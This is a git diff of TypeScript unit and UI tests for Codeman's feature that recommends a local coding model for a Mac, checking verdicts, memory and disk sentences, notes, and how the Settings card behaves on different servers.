size', () => { + // An empty catalogue: nothing fits whatever the size, so the sentence is the plain one. + for (const soldGb of [8, 16, 18, 24, 32, 36, 48, 64, 96, 128]) { + const result = recommend(mac(soldGb, 'Apple M4'), catalogOf([]), [fact('alpha')]); + expect(result.headline, `${soldGb} GB`).toEqual({ + text: LOCAL_MODEL_LABELS.noneMemory, + vars: { memory: String(soldGb) }, + }); + } + }); + + it('says both numbers when models fit, but only below the context a harness needs', () => { // The 16 GB case of the Mac mini, with harnesses that are all present. const result = recommend(mac(16, 'Apple M4'), STOCK, ALL_INSTALLED); - expect(result.reason).toBe('memory'); - expect(result.headline.vars).toEqual({ memory: '17.2' }); + expectNone(result, 'memory', LOCAL_MODEL_LABELS.noneMemoryContext); + // The need is the smallest one at a context a usable harness works at (the 9B at 65536), + // not the 9B at 32768, which fits and which only the gated harness could use. + expect(result.headline.vars).toEqual({ budget: '10.4', need: '10.3' }); + expect(result.headline.text).toMatch(/^Codeman estimates/); + expect(result.headline.text).not.toContain('{memory}'); + }); + + it('says the same two numbers when the need is far above the budget', () => { + // One model: 3 GiB at 1024 tokens (fits 10 GiB), 30 GiB at the context the harness needs. + const catalog = catalogOf( + [model('probe:1', { bytes: 2 * GIB, kvBytesPerToken: 1024, contexts: [28 * 1024 * 1024, 1024] })], + [{ cli: 'alpha', minContext: 4096, rank: 1 }] + ); + const hw = mac(16, 'Apple M4', { wiredLimitMb: 14000 }); + const result = recommend(hw, catalog, [fact('alpha')]); + expectNone(result, 'memory', LOCAL_MODEL_LABELS.noneMemoryContext); + // 2 GiB + 28 GiB of KV cache + 1 GiB = 31 GiB; the budget is 10 GiB. + expect(result.headline.vars).toEqual({ budget: formatGb(10 * GIB), need: formatGb(31 * GIB) }); + expect(result.budgetSource).toBe('wired-limit'); + }); + + it('falls back to the plain sentence when no model has a context a harness could use', () => { + const catalog = catalogOf([model('probe:1')], [{ cli: 'alpha', minContext: 4096, rank: 1 }]); + const result = recommend(bigMac, catalog, [fact('alpha')]); + expectNone(result, 'memory', LOCAL_MODEL_LABELS.noneMemory); + expect(result.headline.vars).toEqual({ memory: '48' }); }); it('comes before no-harness when nothing fits at all', () => { @@ -734,10 +784,17 @@ describe('verdict none', () => { expect(recommend(bigMac, catalogOf([]), [fact('alpha')]).reason).toBe('memory'); }); - it('answers so when the memory size is unknown', () => { + it('answers so when the memory size is unknown, without stating a size', () => { const hw = { ...mac(48, 'Apple M4 Max'), memBytes: 0, memGb: '0.0', memClassGb: 0 }; const result = recommend(hw, STOCK, ALL_INSTALLED); - expect(result.reason).toBe('memory'); + expectNone( + result, + 'memory', + 'Codeman could not read how much memory this Mac has, so it recommends no model here.' + ); + // No "0 GB of memory": a size that was never read is not a size. + expect(result.headline.vars).toBeUndefined(); + expect(stringsIn(result.headline).join(' ')).not.toMatch(/\d/); expect(result.budgetBytes).toBe(0); }); }); @@ -787,13 +844,23 @@ describe('verdict none', () => { expectNone( result, 'disk', - 'Not enough free disk space. The smallest model that fits this Mac is a {download} GB download and {free} GB is free. Free up about {missing} GB.' + 'Not enough free disk space. The smallest model that fits this Mac is a {download} GB download, and {reserve} GB must stay free after it. {free} GB is free now. Free up about {missing} GB.' ); // download + 10 GiB - free = 6,550,825,373 + 10,737,418,240 - 12,884,901,888 bytes. - expect(result.headline.vars).toEqual({ download: '6.6', free: '12.9', missing: '4.4' }); + expect(result.headline.vars).toEqual({ download: '6.6', reserve: '10.7', free: '12.9', missing: '4.4' }); expect(result.budgetBytes).toBe(35 * GIB); }); + it('gives the reader every number of the sum: download + reserve - free = missing', () => { + // 12 GB free is more than the 6.6 GB download, so without the reserve "not enough" reads false. + const hw = mac(24, 'Apple M4', { freeDiskBytes: 12 * GB, freeDiskGb: formatGb(12 * GB) }); + const vars = recommend(hw, STOCK, ALL_INSTALLED).headline.vars as Record; + expect(vars).toEqual({ download: '6.6', reserve: '10.7', free: '12.0', missing: '5.3' }); + expect(vars.reserve).toBe(formatGb(DISK_HEADROOM_BYTES)); + // Within the rounding of four one-decimal figures. + expect(Number(vars.download) + Number(vars.reserve) - Number(vars.free)).toBeCloseTo(Number(vars.missing), 0); + }); + it('names the smallest model that fits the MEMORY, not the smallest of the catalogue', () => { // On a 48 GB Mac whose harness refuses both 9B ids, the smallest candidate is gpt-oss:20b. const facts = ALL_INSTALLED.map((entry) => ({ @@ -806,12 +873,76 @@ describe('verdict none', () => { expect(result.headline.vars?.download).toBe('13.8'); }); - it('drops only the models that do not leave 10 GiB, and picks among the rest', () => { + it('drops only the models that do not leave 10 GiB, picks among the rest, and says what was left out', () => { // 20 GiB free: the 9B downloads (6.1 and 9.7 GiB) leave 10 GiB or more, the others do not. const hw = mac(48, 'Apple M4 Max', { freeDiskBytes: 20 * GIB, freeDiskGb: formatGb(20 * GIB) }); const result = recommend(hw, STOCK, ALL_INSTALLED); - expect(result.verdict).toBe('limited'); expect(order(result)).toEqual(['qwen3.5:9b-q8_0@65536', 'qwen3.5:9b@65536']); + // A 48 GB Mac is not a small-model Mac because its disk is full: the verdict stays `ok`, + // the pick is called small in a note, and the model it would have been is named with + // what is missing: 17,741,871,939 + 10 GiB - 20 GiB = 7.0 GB. + expect(result.verdict).toBe('ok'); + expect(result.headline).toEqual({ text: 'Best fit for this Mac' }); + expect(result.notes).toEqual([ + { + text: 'The best fit is a small model. It handles small edits and questions. It does not replace a cloud model.', + }, + { + text: '{model} fits the memory of this Mac too, but its download needs about {missing} GB more free disk space.', + vars: { model: 'Qwen3.8 27B', missing: '7.0' }, + }, + { text: 'Not yet tested by us on a Mac like this.' }, + ]); + }); + + it('turns on 0.4 GB of disk on the real MacBook without calling it a small-model Mac', async () => { + // The cut for the 35B-A3B: 22,621,314,161 + 10 GiB = 33,358,732,401 bytes free. + const macbook = await realMac(MACBOOK_SYSCTL, 890_926_084); + const withFree = (bytes: number): HardwareFacts => ({ + ...macbook, + freeDiskBytes: bytes, + freeDiskGb: formatGb(bytes), + }); + + const enough = recommend(withFree(34 * GB), STOCK, ALL_INSTALLED); + expect(enough.verdict).toBe('ok'); + expect(enough.pick?.modelId).toBe('qwen3.6:35b-a3b'); + expect(enough.notes).toEqual([{ text: LOCAL_MODEL_LABELS.noteUntested }]); + + const short = recommend(withFree(33 * GB), STOCK, ALL_INSTALLED); + expect(short.verdict).toBe('ok'); + expect(short.headline.text).toBe(LOCAL_MODEL_LABELS.headlineOk); + expect(short.pick?.modelId).toBe('qwen3.5:9b-q8_0'); + expect(order(short)).not.toContain('qwen3.6:35b-a3b@131072'); + expect(short.notes).toEqual([ + { text: LOCAL_MODEL_LABELS.noteSmallPick }, + { text: LOCAL_MODEL_LABELS.noteDiskDropped, vars: { model: 'Qwen3.6 35B-A3B', missing: '0.4' } }, + { text: LOCAL_MODEL_LABELS.noteUntested }, + ]); + // The exact cut: one byte decides, and the note appears with the first missing byte. + const cut = 22_621_314_161 + DISK_HEADROOM_BYTES; + expect(recommend(withFree(cut), STOCK, ALL_INSTALLED).pick?.modelId).toBe('qwen3.6:35b-a3b'); + expect(recommend(withFree(cut - 1), STOCK, ALL_INSTALLED).pick?.modelId).toBe('qwen3.5:9b-q8_0'); + }); + + it('names the best-ranked model left out, also when the pick is not affected', () => { + // 64 GB, M4 Max, 35 GB free: only the Q8 27B (30 GB) has no room. The pick stays the 27B. + const hw = mac(64, 'Apple M4 Max', { freeDiskBytes: 35 * GB, freeDiskGb: '35.0' }); + const result = recommend(hw, STOCK, ALL_INSTALLED); + expect(result.pick?.modelId).toBe('qwen3.8:27b'); + expect(order(result).some((entry) => entry.startsWith('qwen3.8:27b-q8_0'))).toBe(false); + // 29,978,241,837 + 10 GiB - 35 GB. + expect(result.notes).toEqual([ + { text: LOCAL_MODEL_LABELS.noteDiskDropped, vars: { model: 'Qwen3.8 27B (Q8)', missing: '5.7' } }, + { text: LOCAL_MODEL_LABELS.noteUntested }, + ]); + }); + + it('adds no disk note when every model that fits has room, or the free disk is unknown', () => { + for (const hw of [mac(64, 'Apple M4 Max'), without(mac(64, 'Apple M4 Max'), 'freeDiskBytes', 'freeDiskGb')]) { + const texts = recommend(hw, STOCK, ALL_INSTALLED).notes.map((note) => note.text); + expect(texts).not.toContain(LOCAL_MODEL_LABELS.noteDiskDropped); + } }); it('allows a download that leaves exactly 10 GiB', () => { @@ -845,7 +976,7 @@ describe('verdict none', () => { // ---------- 4. Verdicts, ranking, harnesses, tested ---------- describe('verdict limited', () => { - it('is the answer when the best model that fits has fewer than 12 billion parameters', () => { + it('is the answer when no model that fits has 12 billion parameters or more', () => { expect(LIMITED_BELOW_PARAMS_B).toBe(12); const result = recommend(mac(24, 'Apple M4'), STOCK, ALL_INSTALLED); expect(result.verdict).toBe('limited'); @@ -873,11 +1004,77 @@ describe('verdict limited', () => { expect(verdictFor(27.8)).toBe('ok'); }); - it('is about the PICK: a larger model further down the list does not lift it', () => { - // 32 GB: the 20B fits only as Tight, so a 9B is the pick and the answer is limited. + it('is about the MAC, not the pick: a larger model further down the list lifts it', () => { + // 32 GB: the 20B fits only as Tight, so a 9B is the pick. The Mac can still run a 20B, so + // "This Mac can run a small model" would be false of it. const result = recommend(mac(32, 'Apple M4'), STOCK, ALL_INSTALLED); - expect(result.verdict).toBe('limited'); + expect(result.pick).toMatchObject({ modelId: 'qwen3.5:9b', paramsB: 9 }); expect(result.alternatives.map((c) => [c.modelId, c.fit])).toContainEqual(['gpt-oss:20b', 'tight']); + expect(result.verdict).toBe('ok'); + expect(result.headline).toEqual({ text: 'Best fit for this Mac' }); + // The pick is still called what it is. + expect(result.notes).toEqual([ + { + text: 'The best fit is a small model. It handles small edits and questions. It does not replace a cloud model.', + }, + { text: 'Not yet tested by us on a Mac like this.' }, + ]); + }); + + it('does not tell a 36 GB Mac it is a small-model Mac above a list of 20B, 27B and 35B models', () => { + const result = recommend(mac(36, 'Apple M4 Max'), STOCK, ALL_INSTALLED); + expect(result.pick).toMatchObject({ modelId: 'qwen3.5:9b-q8_0', fit: 'good', speed: 'ok' }); + expect(result.alternatives.map((c) => [c.modelId, c.fit, c.speed])).toEqual([ + ['qwen3.5:9b', 'good', 'ok'], + ['gpt-oss:20b', 'good', 'unknown'], + // Both Tight and fast enough: the higher model rank first. + ['qwen3.8:27b', 'tight', 'ok'], + ['qwen3.6:35b-a3b', 'tight', 'ok'], + ]); + expect(result.verdict).toBe('ok'); + expect(result.headline.text).not.toBe(LOCAL_MODEL_LABELS.headlineLimited); + expect(result.notes[0]).toEqual({ text: LOCAL_MODEL_LABELS.noteSmallPick }); + }); + + it('does not depend on whether the chip is in the chips table', () => { + // Knowing the chip must not lower the verdict: before, a known chip made the 9B win on + // speed and the answer limited, while an unknown chip got `ok` with the 20B. + for (const soldGb of [32, 36]) { + const known = recommend(mac(soldGb, 'Apple M4 Max'), STOCK, ALL_INSTALLED); + const unknown = recommend(mac(soldGb, 'Apple M6'), STOCK, ALL_INSTALLED); + expect([soldGb, known.verdict]).toEqual([soldGb, unknown.verdict]); + expect(known.verdict).toBe('ok'); + } + }); + + it('is limited exactly when nothing with 12 billion parameters fits, on every Mac of the sweep', () => { + for (const hw of SWEEP) { + const result = recommend(hw, STOCK, ALL_INSTALLED); + if (result.verdict === 'none') continue; + const budget = deviceBudget(hw).budgetBytes; + const largeFits = STOCK.models.some( + (m) => + m.paramsB >= LIMITED_BELOW_PARAMS_B && + m.contexts.some((ctx) => ctx >= 65536 && needBytes(m, ctx, STOCK, hw) / budget <= FIT_TIGHT_MAX_SHARE) + ); + expect([hw.memClassGb, hw.chip, result.verdict]).toEqual([hw.memClassGb, hw.chip, largeFits ? 'ok' : 'limited']); + // The small-pick note: under `ok` only, and exactly when the pick is small. + const small = result.notes.some((note) => note.text === LOCAL_MODEL_LABELS.noteSmallPick); + expect(small).toBe(result.verdict === 'ok' && (result.pick as Candidate).paramsB < LIMITED_BELOW_PARAMS_B); + } + }); + + it('counts only a large model a harness can really run', () => { + // 48 GB, but the harnesses refuse every id but the two 9B ones: nothing large can be offered. + const facts = ALL_INSTALLED.map((entry) => ({ + ...entry, + acceptsModelId: (id: string) => id.startsWith('qwen3.5:9b'), + })); + const result = recommend(mac(48, 'Apple M4 Max'), STOCK, facts); + expect(result.verdict).toBe('limited'); + expect(result.headline.text).toBe(LOCAL_MODEL_LABELS.headlineLimited); + // The headline says it, so the note does not repeat it. + expect(result.notes).toEqual([{ text: LOCAL_MODEL_LABELS.noteUntested }]); }); it('never says "Recommended", for any Mac', () => { @@ -909,6 +1106,17 @@ describe('speed', () => { expect(speedOf(0.5)).toMatchObject({ speed: 'slow', tokensPerSecond: 2, speedLabel: 'Slow' }); }); + it('grades the unrounded figure: 9.95 to 9.9996 tokens per second print as 10 and are still slow', () => { + const speedOf = (speedPer100Gbps: number): Candidate | undefined => + recommend(HUNDRED_GIB_MAC, catalogOf([model('probe:1', { speedPer100Gbps })]), [fact('alpha')]).pick; + // 2.4875 x 4 = 9.95, 2.49 x 4 = 9.96, 2.4999 x 4 = 9.9996: all under 10, all rounding to 10.0. + for (const figure of [2.4875, 2.49, 2.4999]) { + expect(speedOf(figure), String(figure)).toMatchObject({ speed: 'slow', speedLabel: 'Slow', tokensPerSecond: 10 }); + } + // And the first figure that is not under 10. + expect(speedOf(2.5)).not.toHaveProperty('speedLabel'); + }); + it('is unknown for a model without a figure, on any chip', () => { // 48 GB: five models fit, so all of them are listed and gpt-oss:20b is among them. for (const chip of ['Apple M1', 'Apple M4 Max', 'Apple M5 Ultra']) { @@ -1145,7 +1353,8 @@ describe('the tested flag and the word "Recommended"', () => { } expect(stringsIn(result).join(' ')).not.toMatch(/recommended/i); if (result.verdict !== 'none') { - expect(result.notes).toEqual([{ text: LOCAL_MODEL_LABELS.noteUntested }]); + // Always the last note; a small pick under `ok` has one more before it. + expect(result.notes[result.notes.length - 1]).toEqual({ text: LOCAL_MODEL_LABELS.noteUntested }); } } }); @@ -1239,12 +1448,30 @@ describe('the shape of the answer', () => { 'no-harness', 'ok', ]); + // The two other sentences of the `memory` reason, and an answer with every kind of note. + answers.push( + recommend(mac(16, 'Apple M4'), STOCK, ALL_INSTALLED), + recommend({ ...mac(48, 'Apple M4'), memBytes: 0, memGb: '0.0', memClassGb: 0 }, STOCK, ALL_INSTALLED), + recommend(mac(48, 'Apple M4', { freeDiskBytes: 20 * GIB, freeDiskGb: '21.5' }), STOCK, ALL_INSTALLED) + ); + expect(answers.slice(5).map((answer) => answer.headline.text)).toEqual([ + LOCAL_MODEL_LABELS.noneMemoryContext, + LOCAL_MODEL_LABELS.noneMemoryUnknown, + LOCAL_MODEL_LABELS.headlineOk, + ]); + expect(answers[7].notes.map((note) => note.text)).toEqual([ + LOCAL_MODEL_LABELS.noteSmallPick, + LOCAL_MODEL_LABELS.noteDiskDropped, + LOCAL_MODEL_LABELS.noteUntested, + ]); for (const answer of answers) { - const slots = [...answer.headline.text.matchAll(/\{(\w+)\}/g)].map((match) => match[1]).sort(); - expect(Object.keys(answer.headline.vars ?? {}).sort()).toEqual(slots); - // `{name}` belongs to the browser's translator. - expect(slots).not.toContain('name'); - for (const value of Object.values(answer.headline.vars ?? {})) expect(typeof value).toBe('string'); + for (const message of [answer.headline, ...answer.notes]) { + const slots = [...message.text.matchAll(/\{(\w+)\}/g)].map((match) => match[1]).sort(); + expect(Object.keys(message.vars ?? {}).sort()).toEqual(slots); + // `{name}` belongs to the browser's translator. + expect(slots).not.toContain('name'); + for (const value of Object.values(message.vars ?? {})) expect(typeof value).toBe('string'); + } } }); diff --git a/test/local-model-ui.test.ts b/test/local-model-ui.test.ts index 00daa696..07d80879 100644 --- a/test/local-model-ui.test.ts +++ b/test/local-model-ui.test.ts @@ -4,11 +4,15 @@ * module and a mocked `_api`. * * What is pinned: - * - every state the route can produce: loading, refused (403), failed, not macOS, each `none` - * reason, `limited`, `ok`; - * - the card stays hidden until the server answered for a Mac, and the Settings row carries - * the loading and failure sentences; + * - every state the route can produce: loading, refused (403 FORBIDDEN), a 403 that is not a + * refusal, failed, not macOS, each `none` sentence, `limited`, `ok`; + * - the card stays hidden until the server answered for a Mac, and so does the Settings group + * (never "Model on this Mac" on a server that is not one); the group carries the failure + * sentence; * - the card and the row show the SAME pick (one builder), the card folds the alternatives; + * - the installed memory is the size the Mac is sold as, every other size is printed as sent; + * - each fit and speed label says what it measures, and the line about the missing setup + * sits right under the pick; * - every payload string lands as text: an `` in a model, harness or chip name, * or in a slot value of a server sentence, creates no element and runs nothing; * - sizes are printed as sent (decimal GB text), and the word "Recommended" is the server's @@ -42,8 +46,10 @@ const INDEX = readFileSync(resolve(PUBLIC, 'index.html'), 'utf8'); const MODULE = readFileSync(resolve(PUBLIC, 'local-model-ui.js'), 'utf8'); const I18N = readFileSync(resolve(PUBLIC, 'i18n.js'), 'utf8'); -const DISMISS_KEY = 'codeman:local-model-dismissed'; -const NEXT_STEP = 'Setting this up from Codeman is the next step. It is not built yet.'; +/** Named for the read-only stage, so the stage that can set a model up takes a key of its own. */ +const DISMISS_KEY = 'codeman:local-model-dismissed:readonly'; +const NEXT_STEP = + 'Codeman cannot download or install this for you yet. That is the next step, and it is not built yet.'; type ApiResponse = { ok: boolean; status: number; json(): Promise } | null; @@ -253,6 +259,18 @@ function none(reason: NoneReason, vars?: Record, hardware: Parti return status({ verdict: 'none', reason, headline, budgetBytes: 0, budgetGb: '0.0' }, hardware); } +/** A `none` answer whose headline is one of the other sentences of its reason. */ +function noneWith( + reason: NoneReason, + text: LocalModelMessage['text'], + vars?: Record, + hardware: Partial = {} +) { + const answer = none(reason, undefined, hardware); + answer.recommendation.headline = { text, ...(vars ? { vars } : {}) }; + return answer; +} + const NONE_CASES: Array<{ reason: Exclude; answer: LocalModelStatus; sentence: string }> = [ { reason: 'intel', @@ -261,15 +279,15 @@ const NONE_CASES: Array<{ reason: Exclude; answer: Loca }, { reason: 'memory', - answer: none('memory', { memory: '8.6' }, { memGb: '8.6', memClassGb: 8 }), + answer: none('memory', { memory: '8' }, { memGb: '8.6', memClassGb: 8 }), sentence: - 'This Mac has 8.6 GB of memory. That is too little to run a model that can drive a coding agent, so Codeman recommends none here.', + 'This Mac has 8 GB of memory. That is too little to run a model that can drive a coding agent, so Codeman recommends none here.', }, { reason: 'disk', - answer: none('disk', { download: '17.7', free: '12.0', missing: '16.4' }, { freeDiskGb: '12.0' }), + answer: none('disk', { download: '17.7', reserve: '10.7', free: '12.0', missing: '16.4' }, { freeDiskGb: '12.0' }), sentence: - 'Not enough free disk space. The smallest model that fits this Mac is a 17.7 GB download and 12.0 GB is free. Free up about 16.4 GB.', + 'Not enough free disk space. The smallest model that fits this Mac is a 17.7 GB download, and 10.7 GB must stay free after it. 12.0 GB is free now. Free up about 16.4 GB.', }, { reason: 'macos', @@ -328,18 +346,41 @@ describe('the markup the module fills', () => { }); describe('before there is an answer', () => { - it('keeps the card hidden while the request is in flight, and says so in Settings', async () => { - const { newApp, card, row } = mount(); + it('keeps the card and the Settings group hidden while the first request is in flight', async () => { + const { newApp, card, row, group } = mount(); let answer!: (response: ApiResponse) => void; const app = newApp(() => new Promise((done) => (answer = done))); const loading = app.loadLocalModel(); expect(card.hidden).toBe(true); expect(card.textContent).toBe(''); - expect(row.textContent).toBe('Checking this Mac…'); + // Nothing says yet that the server is a Mac, so no group titled "Model on this Mac" and no + // sentence about "this Mac" either: on most servers both would be false. + expect(group.style.display).toBe('none'); + expect(row.textContent).toBe(''); answer(ok(OK_STATUS)); await loading; expect(card.hidden).toBe(false); - expect(row.textContent).not.toContain('Checking this Mac…'); + expect(group.style.display).toBe(''); + expect(texts(row, '.local-model-headline')).toEqual(['Best fit for this Mac']); + }); + + it('keeps an answer on screen, group included, while it is refreshed', async () => { + const { dom, newApp, row, group } = mount(); + let now = 1_000_000; + (dom.window as unknown as { Date: DateConstructor }).Date.now = () => now; + let answer!: (response: ApiResponse) => void; + const answers: Array<() => Promise> = [ + async () => ok(OK_STATUS), + () => new Promise((done) => (answer = done)), + ]; + const app = newApp(() => (answers.shift() as () => Promise)()); + await app.loadLocalModel(); + now += 61_000; + const refreshing = app.loadLocalModel(); + expect(group.style.display).toBe(''); + expect(texts(row, '.local-model-headline')).toEqual(['Best fit for this Mac']); + answer(ok(OK_STATUS)); + await refreshing; }); it.each([ @@ -383,6 +424,41 @@ describe('a refused request (a non-admin in multi-user mode)', () => { expect(app._api).toHaveBeenCalledTimes(1); }); + it('does not take another 403 for a refusal: an admin who must change the password is asked again', async () => { + // The auth layer answers 403 PASSWORD_CHANGE_REQUIRED for every /api route until the + // password is changed, and the dialog that changes it closes without a reload. + const { dom, document, newApp, card, row, group } = mount(); + const win = dom.window as unknown as { __codemanUser?: { multiUser: boolean; role: string } }; + win.__codemanUser = { multiUser: true, role: 'admin' }; + const answers: ApiResponse[] = [refusal(403, 'PASSWORD_CHANGE_REQUIRED'), ok(OK_STATUS)]; + const app = newApp(async () => answers.shift() ?? null); + await app.loadLocalModel(); + expect(app._api).toHaveBeenCalledTimes(1); + expect(card.hidden).toBe(true); + // A failed request, not a refusal: the group stays, with the failure sentence. + expect(group.style.display).toBe(''); + expect(row.textContent).toBe('Could not reach the server.'); + + // The password was changed: admin-ui.js announces the user again. + document.dispatchEvent(new dom.window.CustomEvent('codeman:me')); + await vi.waitFor(() => expect(card.hidden).toBe(false)); + expect(app._api).toHaveBeenCalledTimes(2); + expect(group.style.display).toBe(''); + expect(texts(row, '.local-model-headline')).toEqual(['Best fit for this Mac']); + }); + + it.each([ + ['a 403 without a body', { ok: false, status: 403, json: async () => Promise.reject(new Error('no body')) }], + ['a 403 with another error code', refusal(403, 'SOMETHING_ELSE')], + ] as Array<[string, ApiResponse]>)('keeps asking after %s', async (_name, response) => { + const { newApp, group } = mount(); + const app = newApp(response); + await app.loadLocalModel(); + await app.loadLocalModel(); + expect(app._api).toHaveBeenCalledTimes(2); + expect(group.style.display).toBe(''); + }); + it('does not ask at all once the page knows the role, and asks when the role turns out to be admin', async () => { const { dom, document, newApp, card, group } = mount(); const win = dom.window as unknown as { __codemanUser?: { multiUser: boolean; role: string } }; @@ -402,22 +478,45 @@ describe('a refused request (a non-admin in multi-user mode)', () => { }); describe('a server that is not a Mac', () => { - it('hides the card and leaves one plain sentence in Settings', async () => { + const LINUX = none('not-macos', undefined, { + platform: 'linux', + arch: 'x64', + arm64: undefined, + chip: 'AMD Ryzen 9 7950X', + source: 'not-probed', + }); + + it('shows neither the card nor the Settings group: nothing there is about this server', async () => { const { newApp, card, row, group } = mount(); - const answer = none('not-macos', undefined, { - platform: 'linux', - arch: 'x64', - arm64: undefined, - chip: 'AMD Ryzen 9 7950X', - source: 'not-probed', - }); - await newApp(ok(answer)).loadLocalModel(); + await newApp(ok(LINUX)).loadLocalModel(); expect(card.hidden).toBe(true); expect(card.textContent).toBe(''); - expect(group.style.display).toBe(''); - expect(row.textContent).toBe('Codeman recommends a local model only on a Mac with Apple silicon.'); - // No line listing another machine's parts under a heading that says "this Mac". - expect(row.querySelector('.local-model-hw')).toBeNull(); + // A group titled "Model on this Mac", about "the Mac that Codeman runs on", on a Linux + // server: hidden, the same lever as a refused request. + expect(group.style.display).toBe('none'); + expect(row.textContent).toBe(''); + }); + + it('never shows the group at any point of the load, and keeps it away on a refresh', async () => { + const { dom, newApp, group, row } = mount(); + let now = 1_000_000; + (dom.window as unknown as { Date: DateConstructor }).Date.now = () => now; + const seen: string[] = []; + const app = newApp(async () => { + seen.push(group.style.display); + return ok(LINUX); + }); + const first = app.loadLocalModel(); + seen.push(group.style.display); + await first; + now += 61_000; + const second = app.loadLocalModel(); + seen.push(group.style.display); + await second; + seen.push(group.style.display); + expect(app._api).toHaveBeenCalledTimes(2); + expect(seen).toEqual(['none', 'none', 'none', 'none', 'none']); + expect(row.textContent).toBe(''); }); }); @@ -441,6 +540,41 @@ describe('verdict none on a Mac', () => { const covered = [...NONE_CASES.map((c) => c.reason), 'not-macos'].sort(); expect(covered).toEqual(Object.keys(LOCAL_MODEL_NONE_LABELS).sort()); }); + + it('says both numbers when the Mac misses by a hair (the 16 GB Mac mini)', async () => { + const { newApp, card, row } = mount(); + const answer = noneWith( + 'memory', + LOCAL_MODEL_LABELS.noneMemoryContext, + { budget: '10.4', need: '10.3' }, + { memGb: '17.2', memClassGb: 16, chip: 'Apple M4', freeDiskGb: '42.8' } + ); + await newApp(ok(answer)).loadLocalModel(); + for (const root of [card, row]) { + expect(texts(root, '.local-model-hw')).toEqual(['Apple M4, 16 GB memory, 42.8 GB free']); + expect(texts(root, '.local-model-headline')).toEqual([ + 'Codeman estimates that this Mac can give a model about 10.4 GB of memory. The smallest model a coding agent can work with needs about 10.3 GB. That leaves no safe margin, so Codeman recommends none here.', + ]); + } + }); + + it('states no memory size when the server could not read one', async () => { + const { newApp, card, row } = mount(); + const answer = noneWith('memory', LOCAL_MODEL_LABELS.noneMemoryUnknown, undefined, { + memBytes: 0, + memGb: '0.0', + memClassGb: 0, + }); + await newApp(ok(answer)).loadLocalModel(); + for (const root of [card, row]) { + // The chip and nothing else: no "0 GB memory" in the hardware line, no size in the sentence. + expect(texts(root, '.local-model-hw')).toEqual(['Apple M5 Pro']); + expect(texts(root, '.local-model-headline')).toEqual([ + 'Codeman could not read how much memory this Mac has, so it recommends no model here.', + ]); + expect(root.textContent).not.toMatch(/\b0(\.0)? GB/); + } + }); }); describe('verdict ok', () => { @@ -449,7 +583,12 @@ describe('verdict ok', () => { await newApp(ok(OK_STATUS)).loadLocalModel(); expect(card.hidden).toBe(false); expect(texts(card, '.local-model-title')).toEqual(['Model on this Mac']); - expect(texts(card, '.local-model-hw')).toEqual(['Apple M5 Pro, 51.5 GB memory, 912 GB free']); + // The page can be open on another device: the title says whose Mac is meant. + expect((card.querySelector('.local-model-title') as HTMLElement).title).toBe( + 'The Mac that Codeman runs on, which is not always the device you are reading on.' + ); + // 48, the size this Mac is sold as and what About This Mac shows: not 51.5 (its bytes in decimal GB). + expect(texts(card, '.local-model-hw')).toEqual(['Apple M5 Pro, 48 GB memory, 912 GB free']); expect(texts(card, '.local-model-headline')).toEqual(['Best fit for this Mac']); expect(texts(card, '.local-model-note')).toEqual(['Not yet tested by us on a Mac like this.']); @@ -486,8 +625,10 @@ describe('verdict ok', () => { const { newApp, card } = mount(); await newApp(ok(OK_STATUS)).loadLocalModel(); const alts = card.querySelector('.local-model-alts')!; - expect(texts(alts, '.local-model-alts-title')).toEqual(['Other models that fit2']); - expect(texts(alts, '.local-model-count')).toEqual(['2']); + // No count beside the title: the server lists four at most, so a number here would be + // the number of rows, not of models that fit. + expect(texts(alts, '.local-model-alts-title')).toEqual(['Other models that fit']); + expect(alts.querySelector('.local-model-count')).toBeNull(); const rows = [...alts.querySelectorAll('.local-model-alt')]; expect(rows.map((row) => texts(row, '.local-model-name')[0])).toEqual([ 'Qwen3.6 35B-A3B (qwen3.6:35b-a3b) with OpenCode', @@ -495,23 +636,91 @@ describe('verdict ok', () => { ]); // A candidate whose speed is fine carries a fit label only. expect(rows.map((row) => texts(row, '.local-model-pill'))).toEqual([['Good'], ['Tight', 'Slow']]); + // An alternative with an estimate prints it: "Slow" alone does not say how slow. expect(rows.map((row) => texts(row, '.local-model-line')[0])).toEqual([ - 'Context 131,072 tokens · 26.4 GB of memory · 22.6 GB download', - 'Context 65,536 tokens · 36.4 GB of memory · 30.0 GB download', + 'Context 131,072 tokens · 26.4 GB of memory · 22.6 GB download · about 42 tokens per second', + 'Context 65,536 tokens · 36.4 GB of memory · 30.0 GB download · about 5.2 tokens per second', ]); }); + it('says what each label measures, as its tooltip and its accessible name', async () => { + const { newApp, card, row } = mount(); + await newApp(ok(OK_STATUS)).loadLocalModel(); + for (const root of [card, row]) { + const pills = [...root.querySelectorAll('.local-model-pill')] as HTMLElement[]; + expect(pills.map((pill) => [pill.textContent, pill.title])).toEqual([ + // The pick: 0.79 of the budget, a chip in no chips row. + ['Good', 'Memory fit: needs 79% of what this Mac can give a model'], + ['Speed unknown', 'No speed estimate for this model on this chip'], + ['Good', 'Memory fit: needs 70% of what this Mac can give a model'], + ['Tight', 'Memory fit: needs 97% of what this Mac can give a model'], + ['Slow', 'About 5.2 tokens per second (estimated).'], + ]); + for (const pill of pills) { + expect(pill.getAttribute('role')).toBe('note'); + expect(pill.getAttribute('aria-label')).toBe(`${pill.textContent}. ${pill.title}`); + } + } + }); + + it('leaves a fit label without a share bare instead of inventing a number', async () => { + const { newApp, card } = mount(); + const bare = candidate({ budgetShare: undefined as unknown as number, speedLabel: undefined, speed: 'ok' }); + await newApp(ok(status({ pick: bare }))).loadLocalModel(); + const pill = card.querySelector('.local-model-pill') as HTMLElement; + expect(pill.textContent).toBe('Good'); + expect(pill.title).toBe(''); + expect(pill.hasAttribute('aria-label')).toBe(false); + }); + + it('puts the line about the missing setup right under the pick and its notes, above the list', async () => { + const { newApp, card, row } = mount(); + const withNotes = status({ + notes: [ + { text: LOCAL_MODEL_LABELS.noteSmallPick }, + { text: LOCAL_MODEL_LABELS.noteDiskDropped, vars: { model: 'Qwen3.6 35B-A3B', missing: '0.4' } }, + { text: LOCAL_MODEL_LABELS.noteUntested }, + ], + pick: candidate(), + alternatives: [ALT_FAST, ALT_SLOW], + }); + await newApp(ok(withNotes)).loadLocalModel(); + for (const root of [card, row]) { + const body = root.querySelector('.local-model-body')!; + expect([...body.children].map((el) => el.className)).toEqual([ + 'local-model-hw', + 'local-model-headline', + 'local-model-pick', + 'local-model-note', + 'local-model-note', + 'local-model-note', + 'local-model-next', + 'local-model-alts', + ]); + // A note with slots is filled like a headline. + expect(texts(root, '.local-model-note')).toEqual([ + 'The best fit is a small model. It handles small edits and questions. It does not replace a cloud model.', + 'Qwen3.6 35B-A3B fits the memory of this Mac too, but its 